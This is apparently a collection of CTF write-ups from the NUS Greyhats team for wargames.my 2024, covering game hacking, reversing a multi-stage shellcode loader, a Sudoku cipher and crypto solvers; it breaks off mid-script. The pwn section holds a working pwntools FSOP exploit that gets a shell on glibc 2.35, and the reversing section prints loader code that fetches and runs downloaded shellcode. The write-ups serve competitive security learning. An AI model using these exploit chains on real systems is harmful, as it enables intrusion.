# wargames.my 2024 Writeups Collection of writeups from NUS Greyhats ## Game Game 1, 2 and 3 features the identical RPG Maker Game but built for different platforms _(exe, APK and web)_. For all three games, the flags are split into 5 parts and stored in the following locations 1. Flag 1 is an item that's dropped after defeating level 1. 2. Flag 2 is an item that's dropped after defeating level 2. 3. Flag 3 can be found in a chest after defeating level 3. 4. Flag 4 is ingrained into the map after defeating level 4. 5. Flag 5 is an item that's obtained after level 5? _(i'm not sure but that's not relevant)_ ### Game 1 I used https://www.save-editor.com/tools/rpg_tkool_mz_save.html to modify my rmmzsave file that is generated after playing the game and saving your progress to one of the save slots. I modified my save file to set the following attributes: - \_items = `{'33':1, '34':1, '35':1, '36':1, '37':1}` - adds Flag 1, 2, 5 to your inventory - \_buffs = `[100,100,100,100,100,100,100,100]` - increase our stats exponentially to one-shot enemies - \_buffTurns= `[100,100,100,100,100,100,100,100]` - ensure that our buffs last long enough ### Game 3 This was the same game but on a web browser. This made it significantly easier since we were able to directly modify/patch the javascript as the game was running. We can set two breakpoints in the javascript code to help us easily obtain the different part of the flag and clear the enemies. ```js Game_Party.prototype.initAllItems = function() { this._items = {}; this._weapons = {}; // set a breakpoint at this line. go to javascript console and run // this._items = {'33':1, '34':1, '35':1, '36':1, '37':1} this._armors = {}; }; Game_BattlerBase.prototype.setHp = function(hp) { this._hp = hp; this.refresh(); // set a breakpoint at this line. you can modify this._hp to zero to instantly kill an enemy. }; ``` With these two hacks, we can easily obtain the flag in the same way as Game 1. ### Game 2 This is the same game but compiled for an APK. If we use 7zip to extract the contents of a zip, we will find the game in `assets/www`. We can host the game by running `python -m http.server 8080` in the `assets/www` folder, which would give us the exact same challenge as Game 3. The solution hereinafter is identical to that of Game 3. ## Pwn ### Screenwriter We are given the program code as follows ```c void main(){ init(); char* name = malloc(0x28); // our input buffer is allocated to the heap FILE *ref_script = fopen("bee-movie.txt","r"); FILE *own_script = fopen("script.txt","w"); puts("Welcome to our latest screenwriting program!"); while (true){ int choice = 0; menu(); switch (get_choice()) { case 1: printf("What's your name: "); read(0,name,0x280); // heap buffer overflow here break; case 2: char own_buf[0x101] = ""; printf("Your masterpiece: "); read(0,own_buf,0x100); fwrite(own_buf,1,0x100,own_script); break; case 3: char ref_buf[0x11] = ""; memset(ref_buf,0,0x11); fread(ref_buf,1,0x10,ref_script); puts("From the reference:"); puts(ref_buf); break; default: printf("Goodbye %s",name); exit(0); } } } ``` We can notice a few things from the code above 1. There is an obvious buffer overflow on our input on the heap. 2. After our input is allocated on the heap, two files are opened with `fopen`. - Files that are opened with `fopen` are backed with an `_IO_FILE` struct that is allocated on the heap. - We are able to `fread` and `fwrite` to/from the opened files. 3. Our buffer overflow on our input will then overflow into the `_IO_FILE` struct on the heap. Any experienced pwner would identify that this is a FSOP attack. Let's look at the fields in the `_IO_FILE` struct ```c struct _IO_FILE { int _flags; char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ // truncated for brevity ... }; ``` > In order to read the contents of a file, we will need to invoke syscalls which is inefficient. > Instead, when `fread` is called for the first time, we first read the entire file content onto the heap. > Afterwards, we set our **IO pointers to the allocated file content** and return the requested buffer from the heap. Most importantly, the idea is that upon calling `fread`, it will return you the buffer between `_IO_read_ptr` and `_IO_read_end`. Thus by overwriting those two pointers, we can gain an arbitrary read to any known address. ```py from pwn import * elf = context.binary = ELF("chall") libc = elf.libc if args.REMOTE: p = remote("43.217.80.203",34668) else: p = elf.process() sla = lambda a, b: p.sendlineafter(a, b) sa = lambda a, b: p.sendafter(a, b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) rl = lambda: p.recvline() ru = lambda a: p.recvuntil(a) def set_name(buf): sla(b"Choice: ", b"1") sla(b"name: ", buf) def write(buf): sla(b"Choice: ", b"2") sla(b"masterpiece: ", buf) def read(): sla(b"Choice: ", b"3") ru(b"reference:\n") # arbitrary read is as simple as this def get_arb_read(addr, sz=8): payload = b"A"*0x28 + p64(0x1e1) payload += p64(0xfbad2488) # flags payload += p64(addr) # read_ptr payload += p64(addr+sz) # read_end payload += p64(addr) # read_base set_name(payload) read() return unpack(p.recvline()[:-1], 'all') # we leak puts address from the Global Offset Table to get libc base libc.address = get_arb_read(0x403f88) - libc.sym.puts log.info(f"libc base @ {hex(libc.address)}") p.interactive() ``` _(i don't remember which exact pointers are necessary to get arbitrary write but we can just write to all of the above. you may read the glibc source code for more information)_ Similarly, we can overwrite `_IO_write_base`, `_IO_write_ptr`, `_IO_write_end`, `_IO_buf_base` and `_IO_buf_end` to gain an arbitrary write for `fwrite`. In order to pop a shell from an arbitrary write, the easiest target for glibc 2.35 would be to overwrite `_IO_2_1_stdout` with a one shot payload. ```py # overwrite _IO_FILE to write to _IO_2_1_stdout payload = b"A"*0x208 + p64(0x1e1) payload += p64(0xfbad2c84) # flags payload += p64(0) * 3 # read_ptr, read_end, read_base payload += p64(libc.sym._IO_2_1_stdout_) # write_base payload += p64(libc.sym._IO_2_1_stdout_) # write_ptr payload += p64(libc.sym._IO_2_1_stdout_+0x100) # write_end payload += p64(libc.sym._IO_2_1_stdout_) # buf_base payload += p64(libc.sym._IO_2_1_stdout_+0x100) # buf_end set_name(payload) # copypasta one shot /bin/sh payload to overwrite _IO_2_1_stdout standard_FILE_addr = libc.sym._IO_2_1_stdout_ fs = FileStructure() fs.flags = unpack(b" " + b"sh".ljust(6, b"\x00"), 64) # " sh" fs._IO_write_base = 0 fs._IO_write_ptr = 1 fs._lock = standard_FILE_addr-0x10 fs.chain = libc.sym.system fs._codecvt = standard_FILE_addr fs._wide_data = standard_FILE_addr - 0x48 fs.vtable = libc.sym._IO_wfile_jumps write(bytes(fs)) p.interactive() ``` And we get our shell. ## Rev ### Drivers **Stage 1** After obtaining the shellcode, we can convert it to an exe with https://github.com/repnz/shellcode2exe for ease of analysis with IDA/Ghidra. We can use a debugger to step through the functions to understand the functionalities. In order to make our life easier, we can define the dynamically resolved APIs in a struct as follows ```c struct api_struct { void *gdiplus_GdiplusStartup; void *gdiplus_GdipCreateBitmapFromFile; void *gdiplus_GdipGetImageWidth; void *gdiplus_GdipGetImageHeight; void *gdiplus_GdipDisposeImage; void *gdiplus_GdipBitmapLockBits; void *gdiplus_GdipBitmapUnlockBits; void *gdiplus_GdiplusShutdown; void *wininet_InternetOpenA; void *wininet_InternetOpenUrlA; void *wininet_InternetReadFile; void *wininet_InternetCloseHandle; void *kernel32_LoadLibraryA; void *kernel32_CreateFileA; void *kernel32_WriteFile; void *kernel32_CloseHandle; void *kernel32_DeleteFileA; void *kernel32_GetProcessHeap; void *ntdll_RtlAllocateHeap; void *kernel32_GlobalAlloc; void *kernel32_lstrcat; void *kernel32_ExitProcess; void *kernel32_MultiByteToWideChar; void *kernel32_VirtualAlloc; void *kernel32_VirtualProtect; void *kernel32_lstrcmpi; void *kernel32_Process32First; void *kernel32_Process32Next; void *kernel32_CreateToolhelp32Snapshot; void *kernel32_CheckRemoteDebuggerPresent; void *kernel32_GetCurrentProcess; void *kernel32_GetCurrentThread; void *kernel32_GetThreadContext; void *user32_MessageBoxA; void *advapi32_RegOpenKeyExA; void *advapi32_RegQueryValueExA; void *advapi32_RegCloseKey; char unused[24]; }; ``` After applying the struct and doing more dynamic analysis, we get code as follows ```c memset(&api_struct, 0, sizeof(api_struct)); sub_406778((__int64)v13, 0LL, 0, 0); // set some nulls // we can get all the dynamically resolved API by setting a breakpoint after this if ( (unsigned int)dynamically_resolve_apis(&api_struct) ) return 0xFFFFFFFFLL; sc_len = 0; p_api_struct = &api_struct; p_api_struct_ = copy_value(&api_struct_, &p_api_struct); github_link = decrypt_github_link(p_api_struct_); // we do not need to understand the shellcode extracting logic // we simply can set a breakpoint right before shellcode is extracted to dump it out shellcode = extract_shellcode(&api_struct, github_link, &sc_len); if ( !shellcode ) { kernel32_ExitProcess = p_api_struct->kernel32_ExitProcess; kernel32_ExitProcess(0xFFFFFFFFLL); } kernel32_VirtualAlloc = api_struct.kernel32_VirtualAlloc; rwx_mem = api_struct.kernel32_VirtualAlloc(0, sc_len, 12288, 4); qmemcpy(rwx_mem, shellcode, sc_len); kernel32_VirtualProtect = api_struct.kernel32_VirtualProtect; api_struct.kernel32_VirtualProtect(rwx_mem, sc_len, 32LL, v6); ((void (*)(void))rwx_mem)(); ``` _code is cleaned up with comments_ We can dump out the extracted shellcode by setting a breakpoint on `qmemcpy` and dumpin gout `sc_len` of bytes from `shellcode`. **Stage 2** The API struct used is identical to Stage 1. ```c memset(&api, 0, sizeof(api)); sub_4032F8(v31, 0LL, 0, 0); // ignore: set some nulls if ( dynamically_resolve_apis(&api) ) // api struct is same as before return 0xFFFFFFFFLL; p_api = &api; // decrypt "ProgramFilesDir" v1 = sub_40151E(&v25, &p_api); str_ProgramFilesDir = decrypt_str_ProgramFilesDir(v1); programfilesdir_value = get_registry_value(&api, str_ProgramFilesDir); // decrypt "ProgramFilezDir" v2 = sub_4013DA(&v26, &p_api); str_ProgramFilezDir = decrypt_str_ProgramFilezDir(v2); programfilezdir_value = get_registry_value(&api, str_ProgramFilezDir); v8 = 0LL; // check_flag function validates the value of registry keys if ( check_flag(&api, programfilesdir_value, programfilezdir_value, &v8) ) { v3 = sub_4012B9(&v27, &p_api); str_CORRECT = sub_4012D9(v3); v4 = sub_4011A7(&v28, &p_api); str_wgmy = sub_4011C7(v4); v5 = sub_4010A9(&v29, &p_api); str_close_braces = sub_4010C9(v5); kernel32_GlobalAlloc = api.kernel32_GlobalAlloc; v6 = (api.kernel32_GlobalAlloc)(0LL, 1000LL); memset(v6, 0, 0x3E8uLL); kernel32_lstrcat = api.kernel32_lstrcat; (api.kernel32_lstrcat)(v6, str_CORRECT); v16 = api.kernel32_lstrcat; (api.kernel32_lstrcat)(v6, space); v18 = api.kernel32_lstrcat; (api.kernel32_lstrcat)(v6, str_wgmy); v19 = api.kernel32_lstrcat; (api.kernel32_lstrcat)(v6, v8); v21 = api.kernel32_lstrcat; (api.kernel32_lstrcat)(v6, str_close_braces); user32_MessageBoxA = api.user32_MessageBoxA; (api.user32_MessageBoxA)(0LL, v6, str_CORRECT, 0LL); // print flag } else { kernel32_ExitProcess = api.kernel32_ExitProcess; (api.kernel32_ExitProcess)(0xFFFFFFFFLL); } ``` From the above cleaned code, the program reads the following registry keys `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir` which has the value `C:\Program Files` by default. `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilezDir` which contains an unknown value. The check_flag function is as follows ```c bool check_flag(api_struct *api_struct, char *programfiles_dir, _BYTE *programfilez_dir, _QWORD *a4) { _BYTE *flag; if ( !programfiles_dir || !programfilez_dir ) return 0; flag = (api_struct->kernel32_GlobalAlloc)(0LL, 33LL); memset(flag, 0, 0x21uLL); flag[24] = transform(*programfiles_dir); flag[10] = transform(programfiles_dir[1]); flag[30] = transform(programfiles_dir[2]); flag[9] = transform(programfiles_dir[3]); flag[1] = transform(programfiles_dir[4]); flag[17] = transform(programfiles_dir[5]); flag[23] = transform(programfiles_dir[6]); flag[25] = transform(programfiles_dir[7]); flag[5] = transform(programfiles_dir[8]); flag[20] = transform(programfiles_dir[9]); flag[14] = transform(programfiles_dir[10]); flag[8] = transform(programfiles_dir[11]); flag[31] = transform(programfiles_dir[12]); flag[6] = transform(programfiles_dir[13]); *flag = transform(programfiles_dir[14]); flag[3] = transform(programfiles_dir[15]); flag[21] = programfilez_dir[21]; flag[4] = programfilez_dir[4]; flag[19] = transform(programfiles_dir[3]); flag[2] = programfilez_dir[2]; flag[22] = programfilez_dir[22]; flag[29] = programfilez_dir[29]; flag[11] = programfilez_dir[11]; flag[13] = programfilez_dir[13]; flag[27] = programfilez_dir[27]; flag[12] = programfilez_dir[12]; flag[7] = programfilez_dir[7]; flag[15] = programfilez_dir[15]; flag[28] = programfilez_dir[28]; flag[18] = programfilez_dir[18]; flag[26] = programfilez_dir[26]; flag[16] = programfilez_dir[16]; *a4 = flag; return fnv1a_hash(flag) == 0x3B1F48B6 && fnv1a_hash(flag + 16) == 0x7C8DB53D; } __int64 transform(char a1) { unsigned __int8 v2; v2 = a1 & 0xF; if ( (a1 & 0xFu) >= 0xA ) return v2 + 87; else return v2 + 48; } ``` It takes a bunch of characters from `programfiles_dir` and `programfilez_dir` and hashes it to check the value. We can abstract the code logic into python ```py def transform(i): x = i & 0xf if x >= 0xa: return x + 87 else: return x + 48 def fnv1a_32(data: bytes) -> int: offset_basis = 0x811C9DC5 fnv_prime = 0x1000193 hash_val = offset_basis for byte in data: hash_val ^= byte hash_val = (hash_val * fnv_prime) & 0xFFFFFFFF return hash_val programfiles_dir = bytes([transform(i) for i in r"C:\Program Files".encode()]) flag = bytearray(32) flag[0] = programfiles_dir[14] flag[1] = programfiles_dir[4] # flag[2] = programfilez_dir[2] flag[3] = programfiles_dir[15] # flag[4] = programfilez_dir[4] flag[5] = programfiles_dir[8] flag[6] = programfiles_dir[13] # flag[7] = programfilez_dir[7] flag[8] = programfiles_dir[11] flag[9] = programfiles_dir[3] flag[10] = programfiles_dir[1] # flag[11] = programfilez_dir[11] # flag[12] = programfilez_dir[12] # flag[13] = programfilez_dir[13] flag[14] = programfiles_dir[10] # flag[15] = programfilez_dir[15] # flag[16] = programfilez_dir[16] flag[17] = programfiles_dir[5] # flag[18] = programfilez_dir[18] flag[19] = programfiles_dir[3] flag[20] = programfiles_dir[9] # flag[21] = programfilez_dir[21] # flag[22] = programfilez_dir[22] flag[23] = programfiles_dir[6] flag[24] = programfiles_dir[0] flag[25] = programfiles_dir[7] # flag[26] = programfilez_dir[26] # flag[27] = programfilez_dir[27] # flag[28] = programfilez_dir[28] # flag[29] = programfilez_dir[29] flag[30] = programfiles_dir[2] flag[31] = programfiles_dir[12] print(flag, hex(fnv1a_32(flag))) print(flag[16:], hex(fnv1a_32(flag[16:]))) # output: """ bytearray(b'52\x003\x001c\x0060a\x00\x00\x000\x00\x00f\x000d\x00\x00732\x00\x00\x00\x00c9') 0x3abf8f32 bytearray(b'\x00f\x000d\x00\x00732\x00\x00\x00\x00c9') 0x542d5f57 """ ``` As you can tell, our input are hexadecimal characters [0-9a-f]. The program checks the hash of the last 16 bytes and the entire 32 bytes of the flag. In the last 16 bytes of the flag, we have 8 unknown characters. Assuming that the 8 unknown characters are hexadecimal characters, we will have `16**8` possible values. After recovering the last 16 bytes, there is only 7 unknown characters in the first 16 bytes which is even more trivial to brute force `16**7`. Finally, we can ask ChatGPT to write us some C++ code to brute force the possibilities. ```cpp #include <iostream> #include <cstdint> #include <array> #include <vector> #include <string> #include <cstdio> #include <chrono> inline uint32_t fnv1a_32(const uint8_t *data, size_t len) { static const uint32_t FNV_OFFSET_BASIS = 0x811C9DC5u; static const uint32_t FNV_PRIME = 0x1000193u; uint32_t hash = FNV_OFFSET_BASIS; for (size_t i = 0; i < len; i++) { hash ^= data[i]; hash *= FNV_PRIME; } return hash; } int main() { const uint32_t TARGET_HASH = 0x7C8DB53D; std::array<char, 16> plaintext = { 'x', 'f', 'x', '0', // known 'd', 'x', 'x', '7', // unknown '3', '2', 'x', 'x', // unknown 'x', 'x', 'c', '9' // known }; auto nibbleToHex = [](uint8_t x) -> char { return (x < 10) ? (char)('0' + x) : (char)('a' + (x - 10)); }; const char hexDigits[16] = { '0','1','2','3','4','5','6','7', '8','9','a','b','c','d','e','f' }; std::vector<int> unknownPositions = {0,2,5,6,10,11,12,13}; auto startTime = std::chrono::steady_clock::now(); const uint64_t totalCombos = 1ULL << (4 * unknownPositions.size()); // 16^8 uint64_t counter = 0; bool found = false; for (uint64_t combo = 0; combo < totalCombos; combo++) { uint64_t temp = combo; for (size_t i = 0; i < unknownPositions.size(); i++) { uint8_t nibble = temp & 0xF; temp >>= 4; plaintext[ unknownPositions[i] ] = hexDigits[nibble]; } uint32_t h = fnv1a_32( reinterpret_cast<const uint8_t*>(plaintext.data()), plaintext.size() ); if (h == TARGET_HASH) { found = true; std::string recovered(plaintext.begin(), plaintext.end()); std::cout << "[+] Found match! Plaintext = " << recovered << " -> 0x" << std::hex << h << std::dec << "\n"; } if ((combo % 100000000ULL) == 0) { std::cout << combo << " / " << totalCombos << " tried...\n"; } } auto endTime = std::chrono::steady_clock::now(); double seconds = std::chrono::duration_cast<std::chrono::seconds>( endTime - startTime ).count(); if (!found) { std::cout << "[-] No match found in " << totalCombos << " tries.\n"; } std::cout << "Completed in " << seconds << " seconds.\n"; return 0; } ``` ``` ❯ g++ -O3 test.cpp ❯ time ./a.out 0 / 4294967296 tried... 100000000 / 4294967296 tried... 200000000 / 4294967296 tried... 300000000 / 4294967296 tried... 400000000 / 4294967296 tried... 500000000 / 4294967296 tried... 600000000 / 4294967296 tried... 700000000 / 4294967296 tried... 800000000 / 4294967296 tried... 900000000 / 4294967296 tried... 1000000000 / 4294967296 tried... 1100000000 / 4294967296 tried... 1200000000 / 4294967296 tried... [+] Found match! Plaintext = bf60d2f732c384c9 -> 0x7c8db53d [+] Found match! Plaintext = 1f60d7f7322884c9 -> 0x7c8db53d 1300000000 / 4294967296 tried... ^C real 0m11.617s user 0m11.610sasd sys 0m0.007s ``` Now do the same for the first 16 bytes of the flag. Wrap it in `wgmy{}` and submit it! ### Stones https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/stones-rev ### Sudoku Observe that the binary is a Pyinstaller compiled executable.Use [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor) to extract `sudoku.pyc` out, and use [pylingual](https://pylingual.io/) to decompile the pyc file. ```python import random alphabet = 'abcdelmnopqrstuvwxyz1234567890.' plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{[REDACTED]}' def makeKey(alphabet): alphabet = list(alphabet) random.shuffle(alphabet) return ''.join(alphabet) key = makeKey(alphabet) def encrypt(plaintext, key, alphabet): keyMap = dict(zip(alphabet, key)) return ''.join((keyMap.get(c.lower(), c) for c in plaintext)) enc = encrypt(plaintext, key, alphabet) ``` Write a reverse script to reveal the solution. ```python with open("out.enc", "r") as f: enc = f.read() alphabet = "abcdelmnopqrstuvwxyz1234567890." plaintext = "0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{[REDACTED]}" mapping = {} for index, char in enumerate(plaintext[:-16]): mapping[enc[index]] = char print("".join(mapping.get(char, char) for char in enc[-38:])) ``` This reveals most of the flag: `w.my{2ba914045b56c5e58..1b4a593b05746}` Observe that the flag format should be `wgmy`, and the "." in the MD5 portion of the flag has to be the letter "f" (as it has to be a valid MD5 hash). Flag: `wgmy{2ba914045b56c5e58ff1b4a593b05746}` ## Post Quantum Cryptography ### Curve ```py import sys from hashlib import sha512 from pwn import * def xor(a, b): return bytes(x^^y for x, y in zip(a, b)) proc=remote("43.217.80.203", 34838) proc.readuntil("p = ") p = ZZ(proc.readline()) proc.readuntil("F.modulus() = ") T.<x> = GF(p)[] line = proc.readline() F = GF(p^4, name="x", modulus=eval(preparse(line.decode()))) proc.readuntil("E.j_invariant() = ") line = proc.readline() j_invariant = F(eval(line)) proc.readuntil("P.xy() = ") line = proc.readline() z = F.0 P_0, P_1 = eval(preparse(line.decode())) # We need to solve for (a, b) in GF(p) such that E : y^2 = x^3 + a*x + b # matches the j_invariant and P lies on E. R.<aa, bb> = F[] # We create an ideal with two conditions: # - (P_1)^2 = (P_0)^3 + a*P_0 + b # - The derived j-invariant from (a,b) matches the printed j_invariant # Then we solve this ideal in F(p^4). We only keep solutions where a,b are in GF(p). solutions = R.ideal(( P_1^2 - (P_0^3 + aa*P_0 + bb), (4*aa)^3 - j_invariant / (-1728) * (F(-16) * (4*aa^3 + 27*bb^2)), )).variety() # Filter out solutions where aa, bb are not in GF(p) solutions=[d for d in solutions if all(x in GF(p) for x in d.values())] assert len(solutions)==1 # Extract the single solution (a, b) in GF(p) a, b = solutions[0][aa], solutions[0][bb] # Reconstruct the elliptic curve E over GF(p^4) E = EllipticCurve(F, [a, b]) assert E.j_invariant() == j_invariant # Reconstruct the point P on E P = E(P_0, P_1) assert p == E.base_field().order().perfect_power()[0] ############################################################################## # We need to craft a point Q and integer k such that repeating the # "Frobenius + scalar-mul" 10 times plus adding p*E.lift_x(Qx) yields P. ############################################################################# while True: # Factor the group order of the curve (E.order() is the number of points). factorization = E.order().factor() # We try up to 1e9 attempts (though hopefully it hits success much sooner). for i in range(1000000000): print(i) # Print iteration (just for logging in case it takes a while) # 1. Randomly pick a candidate k (the secret scalar). k = random.randint(1, 10**9) # 2. Attempt to build an invertible polynomial factor for each prime-power in factorization. try: l = [] for p1, e in factorization: # Switch to p-adic or modular polynomials for prime-power p1^e S.<x> = Qp(p1, prec=e*4)[] # We want to invert ( (x+k)^10 + p ) mod (x^4 - 1 ). # xgcd(...) tries to compute gcd and the inverse factor. tmp = xgcd(((x+k)^10 + p) % (x^4 - 1), x^4 - 1) # tmp[1] is the Bezout coefficient (the "inverse" if gcd=1) f = tmp[1].change_ring(Zmod(p1^e)) # Double check that indeed f * ((x+k)^10 + p) ≡ 1 mod (x^4 - 1) S.<x> = Zmod(p1^e)[] assert ((x+k)^10 + p) * f % (x^4 - 1) == 1 # Store f for building up a full solution via CRT later. l.append(f) # If we manually interrupt or if there's an alarm, just break. except (KeyboardInterrupt, signal.ItimerError): break # On any other error (like not invertible, gcd!=1, etc.), skip and try next k except: traceback.print_exc() continue # If we succeeded in building all partial factors, break out of i-loop # (we have a valid set of "inverses" for each prime-power factor). break # Now combine those partial solutions l[] via CRT to get a single polynomial f S.<x> = Zmod(E.order())[] l = [S(f) for f in l] # Build the polynomial f in Zmod(E.order())[x] using the Chinese Remainder Theorem f = sum(a*b for a,b in zip(l, CRT_basis([p1^e for p1,e in factorization]))) # Final check that f really is the inverse of ((x+k)^10 + p) mod (x^4 - 1) assert (((x+k)^10 + p) * f) % (x^4 - 1) == 1 # Extract the polynomial's coefficients as "coefficients" coefficients = [*f] # 3. Construct Q as a linear combination of P, P^p, P^(p^2), P^(p^3). # (Frobenius is x-> x^p in GF(p^4).) before_frob = [P] while len(before_frob) < 4: before_frob.append(E(before_frob[-1][0]^p, before_frob[-1][1]^p)) # Q = sum(coeff_i * before_frob[i]) Q = sum(a*b for a,b in zip(coefficients, before_frob)) # Qx is the x-coordinate of Q Qx = Q[0] # We need Q to be the E.lift_x(Qx) (meaning Q is the "correct sign" of the point). # If it doesn't match, we skip and retry. if Q != E.lift_x(Qx): continue # If it matches, we found a suitable Q (and corresponding k). break # 4. Double-check that applying the challenge's transformations to Q does indeed yield P. Q_backup = Q for _ in range(10): # Tx, Ty = Q^p (Frobenius) Tx, Ty = Q.x()^p, Q.y()^p # Hx, Hy = (k*Q).xy() Hx, Hy = (k * Q).xy() # Q = (Tx, Ty) + (Hx, Hy) Q = E(Tx, Ty) + E(Hx, Hy) # Finally, add p*E.lift_x(Qx) Q = Q + p * E.lift_x(Qx) # Confirm that this final Q is indeed P. assert Q == P # Restore Q to the original (useful if needed again) Q = Q_backup proc.readuntil("Qx:") proc.write(' '.join(str(x) for x in Qx) + '\n') proc.readuntil("k:") proc.write(f'{k}\n') proc.interactive() # FLAG 5896f659908b313e5013a4cddf57b4405a5c729b7c53f7f77d2dd03fcd74c97360bc5eac34a8 flag = xor( bytes.fromhex('5896f659908b313e5013a4cddf57b4405a5c729b7c53f7f77d2dd03fcd74c97360bc5eac34a8'), sha512((str(a) + str(b)).encode()).digest() ) print(flag) ``` ### LWE ```python import os import random import numpy as np import signal def change_support(support): while (t := random.randint(0, n - 1)) in support: pass support[random.randint(0, k - 1)] = t return support n = 500; p = 3691; k = 10; m = 20 * n seed = os.urandom(16) random.seed(seed) A = np.zeros((n, m), dtype=int) support = random.sample(range(n), k) columns = list(range(m)) random.shuffle(columns) for i in columns: if (random.randint(0, 2) == 0): support = change_support(support) A[support, i] = [random.randint(0, p - 1) for _ in range(k)] secure_random = random.SystemRandom() s = np.array([secure_random.randint(0, p - 1) for _ in range(n)]) e = np.round(np.random.normal(0, 1, size=m)).astype(int) b = (s @ A + e) % p import random import numpy as np n = 500; p = 3691; k = 10; m = 20 * n def change_support(support): while (t := random.randint(0, n - 1)) in support: pass support[random.randint(0, k - 1)] = t return support random.seed(seed) A = np.zeros((n, m), dtype=int) support = random.sample(range(n), k) columns = list(range(m)) random.shuffle(columns) for i in columns: if (random.randint(0, 2) == 0): support = change_support(support) A[support, i] = [random.randint(0, p - 1) for _ in range(k)] from sage.matrix.matrix_mod2_dense cimport Matrix_mod2_dense from sage.matrix.matrix_modn_dense_double cimport Matrix_modn_dense_double cimport numpy as np cpdef copy_from_numpy(Matrix_mod2_dense A, np.ndarray[np.int8_t, ndim=2] B): assert A.nrows() == B.shape[0] assert A.ncols() == B.shape[1] for i in range(B.shape[0]): for j in range(B.shape[1]): A.set_unsafe(i, j, B[i, j]) cpdef copy_from_numpy_2(Matrix_modn_dense_double A, np.ndarray[np.int64_t, ndim=2] B): assert A.nrows() == B.shape[0] assert A.ncols() == B.shape[1] for i in range(B.shape[0]): for j in range(B.shape[1]): A.set_unsafe_int(i, j, B[i, j]) def flatter(M): if M.nrows() > M.ncols(): M = M.LLL(delta=0.75) from subprocess import check_output from re import findall z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]" ret = check_output(["flatter", "-rhf", "1.03"], input=z.encode()) return matrix(M.nrows(), M.ncols(), map(ZZ, findall(b"-?\\d+", ret))) def closest_vector(A, w): global B c = sum([abs(a) for row in A for a in row]) + 1 B = matrix.block([ [A, matrix.zero(A.nrows(), 1)], [matrix(w), c], ]) B = B.LLL() first_nonzero_row = np.nonzero(np.any(np.array(B), axis=1))[0][0] B = B[first_nonzero_row:] assert B[:-1, -1]==0 row=B[-1] B=B[:-1,:-1] assert row[-1] != 0 if row[-1] == c: return B, w - vector(row[:-1]) else: assert row[-1] == -c return B, w - vector(-row[:-1]) def solve(A, AS, b, s, e, columns, path, hint): if AS.nrows() == 0: return np.array([]) print(AS.nrows(), AS.ncols()) assert AS.nrows() == AS.rank() def try_reduce(num_columns, i): nonlocal A, AS, b, s, e, columns ss = None if s is not None: ss = vector(GF(p), s) columns_slice = slice(i-num_columns, i) row_slice = np.nonzero(np.sum(np.abs(np.array(AS[:, columns[columns_slice]], dtype=int)), axis=1))[0] if s is not None: assert ss * AS[:, columns[columns_slice]] == vector(GF(p), (b-e)[columns[columns_slice]]) assert vector(s[row_slice]) * AS[[*row_slice], columns[columns_slice]] == vector(GF(p), (b-e)[columns[columns_slice]]) B, v1 = closest_vector( matrix.block(ZZ, [ [matrix.identity(num_columns)*p], [AS[[*row_slice], columns[columns_slice]]] ]), vector(ZZ, b[columns[columns_slice]]) ) okay = np.ones(B.ncols(), dtype=int) for row in B.rows(): if np.linalg.norm(row) < 20: okay &= ~np.array(row) else: break okay=okay.astype(bool) if e is not None: v2 = (b-e)[columns[columns_slice]] assert (v1 == v2)[okay].all() good_columns=[*np.array(columns[columns_slice])[okay]] sr = [None]*AS.nrows() if s is not None: assert vector(s[row_slice]) * AS[[*row_slice], good_columns] == vector(np.array(v1)[okay]) row_slice = row_slice[~np.any(np.array(AS[[*row_slice], good_columns].left_kernel_matrix(), dtype=int), axis=0)] for j, sj in zip(row_slice, AS[[*row_slice], good_columns].solve_left(vector(np.array(v1)[okay]))): if sr[j] is not None: assert sr[j] == sj sr[j] = sj if s is not None: assert sr[j] == s[j] remaining_row_slice = np.nonzero(np.array(sr) == None)[0] s1=None if s is not None: s1 = s[remaining_row_slice] remaining_column_slice = np.any(A[remaining_row_slice]!=0, axis=0) AS1 = AS[[*remaining_row_slice],[*np.nonzero(remaining_column_slice)[0]]] A1 = A[remaining_row_slice,:][:,remaining_column_slice] b1 = (b - vector(GF(p),np.array(sr)[row_slice]) * AS[[*row_slice],:])[remaining_column_slice] e1 = None if e is not None: e1 = e[remaining_column_slice] assert vector(GF(p),s1)*AS1 == vector(GF(p),b1-e1) assert vector(GF(p),s)*AS == vector(GF(p),b-e) return sr, A1, AS1, b1, s1, e1, remaining_column_slice def candidates_for(num_columns): nonlocal AS return sorted((AS[:, columns[i-num_columns:i]].rank(), i) for i in range(num_columns, AS.ncols()+1))[:50] num_columns, max_rank = path[0] num_columns=min(num_columns, AS.ncols()) remaining=[*range(num_columns, AS.ncols()+1)] random.shuffle(remaining) if hint: remaining = [hint[0]] candidates=[] while remaining: i = remaining.pop() columns_slice = slice(i-num_columns, i) actual_rank = AS[:, columns[columns_slice]].rank() if actual_rank <= max_rank: break candidates.append((actual_rank, i)) if len(candidates) % 200 == 0: print(sorted(candidates)[:50]) else: print("!") candidates = sorted(candidates) raise RuntimeError(f"no candidates {candidates[:30]}") print(f"{i=} {actual_rank=}") global_hints.append(i) sr, A1, AS1, b1, s1, e1, remaining_column_slice = try_reduce(num_columns, i) column_remap=np.cumsum(remaining_column_slice)-1 sr2 = solve(A1, AS1, b1, s1, e1, [column_remap[x] for x in columns if remaining_column_slice[x]], path[1:], hint[1:]) sr = np.array(sr) sr[sr==None] = sr2 return sr AS = matrix(GF(p), *A.shape) copy_from_numpy_2(AS, A) assert AS.rank() == AS.nrows() global_hints=[] sr = solve(A, AS, b, s, e, columns, [(100, 30)]*200, [8830, 9165, 9035, 8726, 1054, 143, 5448, 1708, 2803, 1370, 2342, 532, 3649, 6365, 1034, 1992, 7547, 6017, 1945, 3092, 1158, 3901, 